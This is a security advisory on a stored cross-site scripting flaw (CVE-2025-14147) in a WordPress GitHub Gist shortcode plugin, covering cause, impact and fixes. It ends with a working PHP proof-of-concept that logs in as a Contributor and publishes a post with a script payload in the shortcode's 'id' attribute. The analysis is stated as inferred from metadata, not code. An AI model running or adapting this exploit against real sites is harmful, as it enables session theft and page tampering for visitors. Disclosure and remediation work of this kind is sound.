Atomic Edge analysis of CVE-2025-14147 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Easy GitHub Gist Shortcodes WordPress plugin. Attackers with Contributor-level permissions or higher can inject malicious scripts via the ‘id’ attribute of the plugin’s shortcode. The injected scripts execute when any user views a page containing the compromised shortcode.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The plugin likely accepts user-supplied input for the ‘id’ shortcode attribute without proper validation. It then fails to escape this input when rendering the shortcode output. These conclusions are inferred from the CWE-79 classification and the vulnerability description, as no source code diff is available for confirmation.
Exploitation requires an authenticated attacker with at least Contributor-level access. The attacker creates or edits a post or page using the WordPress editor. They insert the plugin’s shortcode with a malicious JavaScript payload in the ‘id’ attribute. For example, [gist id=”alert(document.domain)”] could be used. The payload executes in victims’ browsers when they view the compromised content.
Remediation requires implementing proper input validation and output escaping. The plugin should validate the ‘id’ parameter against an expected format (likely a GitHub Gist identifier). It must also escape all user-controlled data before output using WordPress functions like esc_attr() for HTML attributes. A secure approach would combine both validation and contextual escaping.
Successful exploitation allows attackers to perform actions within the context of the victim’s session. Attackers can steal session cookies, redirect users to malicious sites, or modify page content. Since the vulnerability is stored, a single injection affects all users who view the compromised page. The impact is limited to the browser context, not direct server compromise.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14147 - Easy GitHub Gist Shortcodes <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2025-14147
* Assumptions:
* 1. Target WordPress site has the vulnerable plugin (version <= 1.0) installed
* 2. Attacker has valid Contributor-level credentials
* 3. Standard WordPress login and post creation endpoints are used
* 4. The plugin's shortcode is 'gist' with an 'id' parameter
*/
$target_url = 'https://target-wordpress-site.com'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS
$password = 'contributor_password'; // CONFIGURE THIS
// Payload to inject - basic XSS demonstration
$malicious_id = '"><script>alert(`Atomic Edge XSS: ${document.domain}`)</script>';
$shortcode = '[gist id="' . $malicious_id . '"]';
$post_title = 'Test Post with Malicious Gist';
$post_content = 'This post contains a malicious Gist shortcode. ' . $shortcode;
// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Check login success by looking for dashboard redirect
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Step 2: Get nonce for post creation
// Contributor users typically use post.php through the admin interface
$admin_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce from the page (simplified pattern)
preg_match('/"_wpnonce" value="([a-f0-9]+)"/', $response, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
if (empty($nonce)) {
die('Could not extract nonce. User may not have post creation permissions.');
}
// Step 3: Create post with malicious shortcode
$post_url = $target_url . '/wp-admin/post.php';
$post_fields = [
'post_title' => $post_title,
'content' => $post_content,
'action' => 'editpost',
'_wpnonce' => $nonce,
'_wp_http_referer' => $admin_url,
'post_type' => 'post',
'post_status' => 'publish',
'submit' => 'Publish'
];
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
// Check for success
if (strpos($response, 'Post published') !== false || strpos($response, 'Post updated') !== false) {
// Extract post ID from response
preg_match('/post=([0-9]+)&/', $response, $post_id_matches);
$post_id = $post_id_matches[1] ?? 'unknown';
echo "Exploit successful! Post ID: $post_idn";
echo "Visit: $target_url/?p=$post_id to trigger the XSS.n";
} else {
echo "Post creation may have failed. Check user permissions.n";
}
curl_close($ch);
?>